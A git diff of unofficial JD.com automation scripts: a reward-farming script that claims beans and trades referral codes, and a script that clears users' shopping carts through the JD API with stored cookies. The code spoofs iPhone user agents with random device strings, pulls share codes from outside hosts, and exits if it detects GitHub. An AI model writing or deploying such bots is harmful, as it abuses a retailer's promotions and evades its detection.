$.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let str = ''; + if (data.code === 200) { + for (let obj of data.data) { + if (obj.hasOwnProperty('fillStatus') && obj.fillStatus !== true) { + str += JSON.stringify(obj); + } + } + } + if (str.length > 0) { + const url = 'https://carnivalcity.m.jd.com/#/integralDetail'; + $.msg($.name, '', `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`, { 'open-url': url }); + if ($.isNode()) await notify.sendNotify($.name, `京东账号 ${$.index} ${$.nickName || $.UserName}\n积分抽奖获得:${str}\n兑换地址:${url}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} +function myRank() { + return new Promise(resolve => { + const options = taskPostUrl("/khc/rank/myPastRanks", {}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data && data.data.length) { + for (let i = 0; i < data.data.length; i++) { + $.date = data.data[i]['date']; + if (data.data[i].status === '1') { + console.log(`开始领取往期奖励【${data.data[i]['prizeName']}】`) + let res = await saveJbean($.date); + // console.log('领奖结果', res) + if (res && res.code === 200) { + $.beans += Number(res.data); + console.log(`${data.data[i]['date']}日 【${res.data}】京豆奖励领取成功`) + } else { + console.log(`往期奖励领取失败:${JSON.stringify(res)}`); + } + await $.wait(500); + } else if (data.data[i].status === '3') { + console.log(`${data.data[i]['date']}日 【${data.data[i]['prizeName']}】往期京豆奖励已领取~`) + } else { + console.log(`${data.data[i]['date']}日 【${data.data[i]['status']}】往期京豆奖励,今日争取进入前30000名哦~`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//领取往期奖励API +function saveJbean(date) { + return new Promise(resolve => { + const body = {"date":`${date}`}; + const options = taskPostUrl('/khc/rank/getRankJingBean', body) + $.post(options, (err, resp, data) => { + try { + // console.log('领取京豆结果', data); + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function doHelp() { + console.log(`\n开始助力好友`); + for (let i in $.newShareCodes) { + let item = $.newShareCodes[i] + if (!item) continue; + const helpRes = await toHelp(item.trim()); + if (typeof helpRes === 'object') { + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + break; + }else if (helpRes.data.status === 4){ + console.log(`该助力码[${item}]已达上限`); + $.newShareCodes[i] = '' + }else if (helpRes.data.status === 3){ + console.log(`已经助力过`); + }else if (helpRes.data.status === 2){ + console.log(`该助力码[${item}]过期`); + $.newShareCodes[i] = '' + }else if (helpRes.data.status === 1){ + console.log(`不能助力自己`); + }else if (helpRes.msg.indexOf('请求参数不合规') > -1){ + console.log(`该助力码[${item}]助力码有问题`) + $.newShareCodes[i] = '' + }else if (helpRes.msg.indexOf('未登录') > -1 || helpRes.msg.indexOf('火爆') > -1){ + console.log(`${helpRes.msg},跳出助力`) + break; + }else{ + console.log(`该助力码[${item}]助力结果\n${$.toStr(helpRes)}`) + } + }else{ + console.log(`该助力码[${item}]助力结果\n${$.toStr(helpRes)}`) + } + } +} +//助力API +function toHelp(code = "ddd345fb-57bb-4ece-968b-7bf4c92be7cc") { + return new Promise(resolve => { + const body = {"shareId":`${code}`}; + const options = taskPostUrl('/khc/task/doSupport', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(`助力结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['status'] === 6) console.log(`助力成功\n`) + if (data['data']['jdNums']) $.beans += data['data']['jdNums']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取邀请码API +function getHelp() { + return new Promise(resolve => { + const options = taskPostUrl("/khc/task/getSupport", {}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); + $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); + $.temp.push(data.data.shareId); + } else { + console.log(`获取邀请码失败:${JSON.stringify(data)}`); + if (data.code === 1002 || data.code === 1001) $.blockAccount = true; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取当前活动总京豆数量 +function getListJbean() { + return new Promise(resolve => { + const body = { + pageNum: `` + } + const options = taskPostUrl("/khc/record/jingBeanRecord", body); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.jingBeanNum = data.data.jingBeanNum || 0; + message += `累计获得京豆:${$.jingBeanNum}🐶\n`; + } else { + console.log(`jingBeanRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询累计获得积分 +function getListIntegral() { + return new Promise(resolve => { + const body = { + pageNum: `` + } + const options = taskPostUrl("/khc/record/integralRecord", body); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + $.integralCount = data.data.integralNum || 0;//累计活动积分 + message += `累计获得积分:${$.integralCount}\n`; + console.log(`开始抽奖,当前积分可抽奖${parseInt($.integralCount / 50)}次\n`); + for (let i = 0; i < parseInt($.integralCount / 50); i ++) { + await lottery(); + await $.wait(500); + } + } else { + console.log(`integralRecord失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//查询今日累计积分与排名 +function getListRank() { + return new Promise(resolve => { + const options = taskPostUrl("/khc/rank/dayRank", {}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + if (data.data.myRank) { + $.integer = data.data.myRank.integral;//当前获得积分 + $.num = data.data.myRank.rank;//当前排名 + message += `当前获得积分:${$.integer}\n`; + message += `当前获得排名:${$.num}\n`; + } + if (data.data.lastRank) { + $.lasNum = data.data.lastRank.rank;//当前参加活动人数 + message += `当前参赛人数:${$.lasNum}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/smiek2221/updateTeam@master/shareCodes/jd_cityShareCodes.json') { + return new Promise(resolve => { + $.get({url , headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://jd.smiek.tk/info_carnivalcity`, 'timeout': 20000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + // console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD818_SHARECODES) { + if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD818_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD818_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(a,t = {}) { + const body = $.toStr({...t,"apiMapping":`${a}`}) + return { + url: `${JD_API_HOST}`, + body: `appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${body}&t=${Date.now()}&loginType=2`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://carnivalcity.m.jd.com", + "Referer": "https://carnivalcity.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.UA, + } + } +} + + +async function showMsg() { + if ($.beans) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:https://carnivalcity.m.jd.com${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com"}); +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/gua_cleancart.js b/backUp/gua_cleancart.js new file mode 100644 index 0000000..7c216d2 --- /dev/null +++ b/backUp/gua_cleancart.js @@ -0,0 +1,356 @@ +/* +清空购物车 +更新时间:2021-10-27 +因其他脚本会加入商品到购物车,故此脚本用来清空购物车 +包括预售 +需要算法支持 +默认:不执行 如需要请添加环境变量 +gua_cleancart_Run="true" +gua_cleancart_SignUrl="" # 算法url + +—————————————— +1.@&@ 前面加数字 指定账号pin +如果有中文请填写中文 +2.|-| 账号之间隔开 +3.英文大小写请填清楚 +4.优先匹配账号再匹配* +5.定义不清空的[商品]名称支持模糊匹配 +6.pin@&@ 👉 指定账号(后面添加商品 前面账号[pin] *表示所有账号 +7.|-| 👉 账号之间隔开 +—————————————— + +商品名称规则 +——————gua_cleancart_products———————— +pin2@&@商品1,商品2👉该pin这几个商品名不清空 +pin5@&@👉该pin全清 +pin3@&@不清空👉该pin不清空 +*@&@不清空👉所有账号不请客 +*@&@👉所有账号清空 + +优先匹配账号再匹配* +|-| 👉 账号之间隔开 +有填帐号pin则*不适配 +—————————————— +如果有不清空的一定要加上"*@&@不清空" +防止没指定的账号购物车全清空 + +*/ +let jdSignUrl = '' // 算法url +let cleancartRun = 'false' +let cleancartProducts = '' + +const $ = new Env('清空购物车'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +message = '' + +jdSignUrl = $.isNode() ? (process.env.gua_cleancart_SignUrl ? process.env.gua_cleancart_SignUrl : `${jdSignUrl}`) : ($.getdata('gua_cleancart_SignUrl') ? $.getdata('gua_cleancart_SignUrl') : `${jdSignUrl}`); + +cleancartRun = $.isNode() ? (process.env.gua_cleancart_Run ? process.env.gua_cleancart_Run : `${cleancartRun}`) : ($.getdata('gua_cleancart_Run') ? $.getdata('gua_cleancart_Run') : `${cleancartRun}`); + +cleancartProducts = $.isNode() ? (process.env.gua_cleancart_products ? process.env.gua_cleancart_products : `${cleancartProducts}`) : ($.getdata('gua_cleancart_products') ? $.getdata('gua_cleancart_products') : `${cleancartProducts}`); + +let productsArr = [] +let cleancartProductsAll = [] +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i in productsArr) { + if(productsArr[i].indexOf('@&@') > -1){ + let arr = productsArr[i].split('@&@') + cleancartProductsAll[arr[0]] = arr[1].split(',') + } +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if(cleancartRun !== 'true'){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_Run]为"true"') + return + } + if(!cleancartProducts){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_products]\n清空商品\n内容规则看脚本文件') + return + } + $.out = false + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if(cleancartProductsAll[$.UserName]){ + $.cleancartProductsArr = cleancartProductsAll[$.UserName] + }else if(cleancartProductsAll["*"]){ + $.cleancartProductsArr = cleancartProductsAll["*"] + }else $.cleancartProductsArr = false + if($.cleancartProductsArr) console.log($.cleancartProductsArr) + await run(); + if($.out) break + } + } + if(message){ + $.msg($.name, ``, `${message}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + let msg = '' + let signBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":true,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","adid":""}` + let body = await jdSign('cartClearQuery', signBody) + if($.out) return + if(!body){ + console.log('获取不到算法') + return + } + let data = await jdApi('cartClearQuery',body) + let res = $.toObj(data,data); + if(typeof res == 'object' && res){ + if(res.resultCode == 0){ + if(!res.clearCartInfo || !res.subTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + let num = 0 + if(res.subTitle){ + num = res.subTitle.match(/共(\d+)件商品/).length > 0 && res.subTitle.match(/共(\d+)件商品/)[1] || 0 + msg += res.subTitle + "\n" + console.log(res.subTitle) + } + // console.log(`共${num}件商品`) + if(num != 0){ + let operations = [] + let operNum = 0 + for(let a of res.clearCartInfo || {}){ + // console.log(a.groupName) + // if(a.groupName.indexOf('7天前加入购物车') > -1){ + for(let s of a.groupDetails || []){ + if(toSDS(s.name)){ + // console.log(s.unusable,s.skuUuid,s.name) + operNum += s.clearSkus && s.clearSkus.length || 1; + operations.push({ + "itemType": s.itemType+"", + "suitType": s.suitType, + "skuUuid": s.skuUuid+"", + "itemId": s.itemId || s.skuId, + "useUuid": typeof s.useUuid !== 'undefined' && s.useUuid || false + }) + } + } + // } + } + console.log(`准备清空${operNum}件商品`) + if(operations.length == 0){ + console.log(`清空${operNum}件商品|没有找到要清空的商品`) + msg += `清空${operNum}件商品|没有找到要清空的商品\n` + }else{ + let clearBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":false,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","operations":${$.toStr(operations,operations)},"adid":"","coord_type":"0"}` + clearBody = await jdSign('cartClearRemove', clearBody) + if($.out) return + if(!clearBody){ + console.log('获取不到算法') + }else{ + let clearData = await jdApi('cartClearRemove',clearBody) + let clearRes = $.toObj(clearData,clearData); + if(typeof clearRes == 'object'){ + if(clearRes.resultCode == 0) { + msg += `清空${operNum}件商品|✅\n` + console.log(`清空${operNum}件商品|✅\n`) + }else if(clearRes.mainTitle){ + msg += `清空${operNum}件商品|${clearRes.mainTitle}\n` + console.log(`清空${operNum}件商品|${clearRes.mainTitle}\n`) + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + } + } + }else if(res.mainTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + msg += `未识别到购物车有商品\n` + console.log(data) + } + } + }else{ + console.log(data) + } + }else{ + console.log(data) + } + if(msg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${msg}\n` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function toSDS(name){ + let res = true + if($.cleancartProductsArr === false) return false + for(let t of $.cleancartProductsArr || []){ + if(t && name.indexOf(t) > -1 || t == '不清空'){ + res = false + break + } + } + return res +} +function jdApi(functionId,body) { + if(!functionId || !body) return + return new Promise(resolve => { + $.post(taskPostUrl(`/client.action?functionId=${functionId}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.mainTitle) console.log(res.mainTitle) + if(res.resultCode == 0){ + resolve(res); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(''); + } + }) + }) +} + +function jdSign(fn,body) { + let sign = '' + let flag = false + try{ + const fs = require('fs'); + if (fs.existsSync('./gua_encryption_sign.js')) { + const encryptionSign = require('./gua_encryption_sign'); + sign = encryptionSign.getSign(fn, body) + }else{ + flag = true + } + sign = sign.data && sign.data.sign && sign.data.sign || '' + }catch(e){ + flag = true + } + if(!flag) return sign + if(!jdSignUrl.match(/^https?:\/\//)){ + console.log('请填写算法url') + $.out = true + return '' + } + return new Promise((resolve) => { + let url = { + url: jdSignUrl, + body:`{"fn":"${fn}","body":${body}}`, + followRedirect:false, + headers: { + 'Accept':'*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json', + }, + timeout:30000 + } + $.post(url, async (err, resp, data) => { + try { + // console.log(data) + let res = $.toObj(data,data) + if(typeof res === 'object' && res){ + if(res.code && res.code == 200 && res.msg == "ok" && res.data){ + if(res.data.sign) sign = res.data.sign || '' + if(sign != '') resolve(sign) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve('') + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://api.m.jd.com${url}`, + body: body, + headers: { + "Accept": "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie}`, + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167853 (iPhone; iOS; Scale/2.00)" , + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * 